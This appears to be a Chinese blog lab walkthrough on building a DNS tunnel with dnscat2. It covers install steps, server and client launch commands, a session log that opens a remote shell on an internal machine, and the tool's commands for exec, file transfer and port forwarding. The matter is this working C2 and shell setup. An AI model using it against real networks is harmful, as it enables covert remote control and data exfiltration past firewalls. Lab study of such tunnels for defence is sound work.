0x01 前言

  DNS是用来做域名解析的,是连接互联网的关键,故即使是企业内网,在防火墙高度关闭下,也有着很好的连通性,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制。

0x02 DNS隧道的方式

目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。

  直连隧道:用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。

  中继隧道:利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。



  在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询,有较高的隐蔽性。

  同时在大多数渗透场景中服务器端是无法连接到内网客户端的,因为防火墙或NAT内网原因,所以多是通过客户端定时连接服务器端来保持状态。

  本次实验中,我们的关注点在Dnscat2所搭建的DNS隧道,故不作方式上的研究。

0x03 整体环境

  本次我们采用攻击机-Windows DNS服务器-内网机,由于是DNS隧道,故防火墙全开并不受影响。

攻击机Kali
IP:10.10.10.10
   DNS:10.10.10.100
Windows Service DNS服务器:
   域名:www.qianxin.com IN NS ns.baidu.com    ns.baidu.com IN A 10.10.10.20
内网机Kali:已开启防火墙
IP:10.10.10.20
   DNS:10.10.10.100

0x04 安装部署

服务端配置

  安装ruby,下载dnscat2,配置服务端依赖环境,通过ruby ./dnscat2.rb测试是否安装成功。

#linux下服务器端安装
#安装ruby
yum install ruby            #服务器端为ruby开发,所以需要先安装ruby才可以运行
git clone https://github.com/iagox86/dnscat2.git /opt/DNSCAT2/   #下载  
cd dnscat2/server/    #进入服务端目录
gem install bundler  #安装bindle捆绑程序
sudo bundle install   #bundle运行限制在非root用户下,不过可以sudo进行root下安装
ruby ./dnscat2.rb



  如果不以root用户身份运行它,则可能无法侦听UDP / 53(可以使用--dnsport进行更改)。如果是这样,您会看到一条错误消息。

客户端配置

  编译客户端应该非常简单-只需编译make / gcc(对于Linux)或Cygwin或Microsoft Visual Studio(对于Windows)即可。这是Linux上的命令:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make    #编译
./dnscat   测试



  到这里的话,服务端和客户端基本上都配置好了,不过部分环境可能会出现依赖缺少的情况,通过以下命令可以补全

#缺了不少库采用以下方式安装
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop

0x05 操作使用

  首先,先启动服务端,服务端会进行监听端口

ruby ./dnscat2.rb ns.baidu.com --secret=hopeamor --no-cache
语言      程序         委派域名        密码          



  再启动客户端,此处先启动同样可行,不过需要注意的是–dns server=www.baidu.com不可以填写成ns.baidu.com,这里的参数是解析dns权威服务器,而不是上级委派服务器。

./dnscat --dns server=www.baidu.com --secret=hopeamor
程序



  接下来,我们在服务端输入如下命令即可

#进入交互状态
session -i 1
#输入shell进入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
 crypto-debug :: Debug window for crypto stuff [*]
 dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
 1 :: command (localhost.localdomain) [encrypted and verified]
 2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切换到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#输入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client



  这时已经完成了连接,跳转至客户端可以看到已经成功连接上了。



  我们在服务端输入ifconfig进行测试,可以看到客户端信息,当然,可以做很多事情。



  连接之后有诸多命令,以下记录了各个命令的使用,在command中使用调出帮助。

quit(退出控制台)
kill <id>(中断通道)
set(设置,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)或者使用session -i <id>
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell,此处必须在1::command(kali)中使用)
download/upload(两端之间上传下载文件)
supend(返回到上一层,快捷键ctrl+z即可)
listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)

加注:

  本人在使用时,配置好的NS域名却在数据中发现走的是直连模式,也就是攻击机到受害机的DNS协议,结果发现是客户端命令用的直连模式,此处使用中继命令即可,不同的是直连命令下,只能只有ip或a解析,但中继模式下却能进行ns解析的二级域名,并且直连和中继是互通的。

服务端命令:
#启动
sudo ruby./dnscat2.rb ns.abc.com --secret=123456   #方式1【常用】中继模式
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456   #方式2直连模式
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3中继
客户端命令:
dnscat --secret=123456 abc.com    #对应 方式1中继模式
dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT   #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上,直连模式
–secret 定义了通讯密码。
两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。
       同时服务端在运行时,也可通过set secret=<new value>来动态改变
–security 规定了安全级别
默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto。
       同时服务端在运行时,也可通过set security=open来动态改变。
–no-cache 禁止缓存
使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。

Dnscat2隧道的更多相关文章

  1. Dnscat2实现DNS隐蔽隧道反弹Shell

    DNS介绍 DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被 ...

  2. DNS隧道--dnscat2

    安装 服务端 git clone https://github.com/iagox86/dnscat2.git cd dnscat2 cd server sudo gem install bundle ...

  3. DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测

    1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工 ...

  4. DNS隧道和工具

    DNS Tunneling及相关实现 转自:http://www.freebuf.com/sectool/112076.html DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DN ...

  5. DNS隧道

    自己使用的dns隧道通过两种方法,一种是通过dnscat2工具,另一种通过cs上的beacon来进行通信. 第一种方法:dnscat2: 参考文章:https://xz.aliyun.com/t/22 ...

  6. 内网隧道与SOCKS代理思路总结

    早就想总结一下这部分内容了,总是有其他事情卡住,一直拖到现在 内网中有很多边界设备,比如防火墙.这种边界设备会控制内部主机的对外连接,一般会仅允许某些种类的端口开放或某种数据流量出入 这就意味着我们只 ...

  7. SSH隧道应用, 突破网络限制

    文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...

  8. 前端学HTTP之网关、隧道和中继

    前面的话 Web是一种强大的内容发布工具.人们已经从只在网上发送静态的在线文档,发展到共享更复杂的资源,比如数据库内容或动态生成的HTML页面.Web浏览器为用户提供了一种统一的方式来访问因特网上的内 ...

  9. ngrok反向隧道--获取内网IP

    ngrok反向隧道 前情提要:小明与小白各有一台主机,两台主机在同一内网,小明想直接通过内网ssh到小白的主机上.但是小白的ip地址会不断的变化,而小明不想每次都要麻烦小白查看ip.于是小明催生了一个 ...

随机推荐

  1. solr集群搭建,zookeeper集群管理

    1. 第一步 把solrhome中的配置文件上传到zookeeper集群.使用zookeeper的客户端上传. 客户端命令位置:/root/solr-4.10.3/example/scripts/cl ...

  2. Linux中一切皆文件

    谈一谈Linux中一切皆文件 1. Linux中所有内容都是以文件的形式保存和管理,即:一切皆文件. 普通文件是文件. 目录(在win下称为文件夹)是文件. 硬件设备(键盘.硬盘.打印机)是文件. 套 ...

  3. d面试题汇总

    HTML Doctype作用,HTML5 为什么只需要写<!DOCTYPE HTML>? html5有哪些新特性?移除了哪些元素? 简述一下你对HTML语义化的理解? 行内元素有哪些,块级 ...

  4. Vue的computed(计算属性)使用实例之TodoList

    最近倒腾了一会vue,有点迷惑其中methods与computed这两个属性的区别,所以试着写了TodoList这个demo,(好土掩面逃~); 1. methods methods类似react中组 ...

  5. anijs 一个小巧的动画库

    很多时候我意识到前端已近变成写h5宣传页面 我不知道是可悲 还是生活的必然 小问题 使用css animation和js animation api制作动画是目前比较流行的做法 但是最后很多人的代码就 ...

  6. 如何监控微信小程序HTTP请求错误

    摘要: Fundebug的微信小程序错误监控插件更新至0.5.0,支持监控HTTP请求错误. 接入插件 接入Fundebug的错误监控插件非常简单,只需要下载fundebug.0.5.0.min.js ...

  7. video标签学习使用

    video标签学习使用 学习前的理解 video是HTML5中的新标签,可以用来播放视频.对于不同的浏览器支持的视频格式不一样,但是具体浏览器支持的类型并不清楚. 支持的类型 视频的格式分为编码格式和 ...

  8. H5移动端开发

    开发前准备 环境: Node.js LTS版本 git 最新版 文档: 本项目技术栈基于 ES2016 VueJS vux 快速开始 1.克隆项目 git clone https://gitee.co ...

  9. Hadoop 3.1.2报错:xception in thread "main" org.apache.hadoop.fs.UnsupportedFileSystemException: No FileSystem for scheme "hdfs"

    报错内容如下: Exception in thread "main" org.apache.hadoop.fs.UnsupportedFileSystemException: No ...

  10. 关于allegro找不到env文件解决方法

    使用allegro的友人时对于env文件并不陌生.在我们设计的过程中经常使用env文件设置快捷键从而达到快速拉线的目的.但是新安装的allegro软件中会找不到env文件,因为今天自己碰到了这件事,并 ...